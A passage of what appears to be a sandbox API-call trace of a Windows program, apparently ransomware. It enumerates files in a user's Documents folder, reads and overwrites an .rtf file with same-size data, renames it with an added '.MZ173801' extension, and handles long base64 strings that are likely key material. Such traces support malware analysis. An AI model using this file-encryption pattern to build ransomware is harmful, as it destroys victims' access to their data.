lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.924] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x7a06cc, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.925] GetCurrentThreadId () returned 0x9fc [0124.925] GetCurrentThreadId () returned 0x9fc [0124.925] GetCurrentThreadId () returned 0x9fc [0124.925] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0124.926] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x71566c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0124.926] GetCurrentThreadId () returned 0x9fc [0124.926] GetCurrentThreadId () returned 0x9fc [0124.926] GetCurrentThreadId () returned 0x9fc [0124.926] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\_bUsoF-1OZB 3IZ4\\OW5FfS04iwdMwwKKq4E\\4 no16yO 0.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\_busof-1ozb 3iz4\\ow5ffs04iwdmwwkkq4e\\4 no16yo 0.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a0 [0124.926] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee54*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ee54*=0) returned 0x0 [0124.926] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee4c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ee4c*=0) returned 0x0 [0124.926] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee4c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ee4c*=0) returned 0x4894 [0124.926] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee4c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ee4c*=0) returned 0x0 [0124.926] ReadFile (in: hFile=0x2a0, lpBuffer=0x71c870, nNumberOfBytesToRead=0x4894, lpNumberOfBytesRead=0x18ee60, lpOverlapped=0x0 | out: lpBuffer=0x71c870*, lpNumberOfBytesRead=0x18ee60*=0x4894, lpOverlapped=0x0) returned 1 [0124.927] CloseHandle (hObject=0x2a0) returned 1 [0124.928] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\_bUsoF-1OZB 3IZ4\\OW5FfS04iwdMwwKKq4E\\4 no16yO 0.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\_busof-1ozb 3iz4\\ow5ffs04iwdmwwkkq4e\\4 no16yo 0.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a0 [0124.929] WriteFile (in: hFile=0x2a0, lpBuffer=0x7228a0*, nNumberOfBytesToWrite=0x4894, lpNumberOfBytesWritten=0x18ee6c, lpOverlapped=0x0 | out: lpBuffer=0x7228a0*, lpNumberOfBytesWritten=0x18ee6c*=0x4894, lpOverlapped=0x0) returned 1 [0124.931] CloseHandle (hObject=0x2a0) returned 1 [0124.931] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\_bUsoF-1OZB 3IZ4\\OW5FfS04iwdMwwKKq4E\\4 no16yO 0.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\_busof-1ozb 3iz4\\ow5ffs04iwdmwwkkq4e\\4 no16yo 0.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\_bUsoF-1OZB 3IZ4\\OW5FfS04iwdMwwKKq4E\\4 no16yO 0.rtf.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\_busof-1ozb 3iz4\\ow5ffs04iwdmwwkkq4e\\4 no16yo 0.rtf.mz173801")) returned 1 [0124.932] GetCurrentThreadId () returned 0x9fc [0124.932] GetCurrentThreadId () returned 0x9fc [0124.932] GetCurrentThreadId () returned 0x9fc [0124.932] GetCurrentThreadId () returned 0x9fc [0124.932] GetCurrentThreadId () returned 0x9fc [0124.932] GetCurrentThreadId () returned 0x9fc [0124.932] FindNextFileW (in: hFindFile=0x2fc780, lpFindFileData=0x18ef98 | out: lpFindFileData=0x18ef98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9e1650, ftCreationTime.dwHighDateTime=0x1d5dd85, ftLastAccessTime.dwLowDateTime=0x1ea07180, ftLastAccessTime.dwHighDateTime=0x1d5e18c, ftLastWriteTime.dwLowDateTime=0x1ea07180, ftLastWriteTime.dwHighDateTime=0x1d5e18c, nFileSizeHigh=0x0, nFileSizeLow=0xb688, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="5luqXXleB0M8zozK.xls", cAlternateFileName="5LUQXX~1.XLS")) returned 1 [0124.932] FileTimeToLocalFileTime (in: lpFileTime=0x18efac, lpLocalFileTime=0x18ef0c | out: lpLocalFileTime=0x18ef0c) returned 1 [0124.932] FileTimeToDosDateTime (in: lpFileTime=0x18ef0c, lpFatDate=0x18ef7a, lpFatTime=0x18ef78 | out: lpFatDate=0x18ef7a, lpFatTime=0x18ef78) returned 1 [0124.932] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\_bUsoF-1OZB 3IZ4\\OW5FfS04iwdMwwKKq4E\\5luqXXleB0M8zozK.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\_busof-1ozb 3iz4\\ow5ffs04iwdmwwkkq4e\\5luqxxleb0m8zozk.xls"), fInfoLevelId=0x0, lpFileInformation=0x18eea0 | out: lpFileInformation=0x18eea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9e1650, ftCreationTime.dwHighDateTime=0x1d5dd85, ftLastAccessTime.dwLowDateTime=0x1ea07180, ftLastAccessTime.dwHighDateTime=0x1d5e18c, ftLastWriteTime.dwLowDateTime=0x1ea07180, ftLastWriteTime.dwHighDateTime=0x1d5e18c, nFileSizeHigh=0x0, nFileSizeLow=0xb688)) returned 1 [0124.934] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.934] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x7a06cc, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.935] GetCurrentThreadId () returned 0x9fc [0124.935] GetCurrentThreadId () returned 0x9fc [0124.935] GetCurrentThreadId () returned 0x9fc [0124.936] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0124.936] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x71566c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0124.936] GetCurrentThreadId () returned 0x9fc [0124.936] GetCurrentThreadId () returned 0x9fc [0124.936] GetCurrentThreadId () returned 0x9fc [0124.936] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS 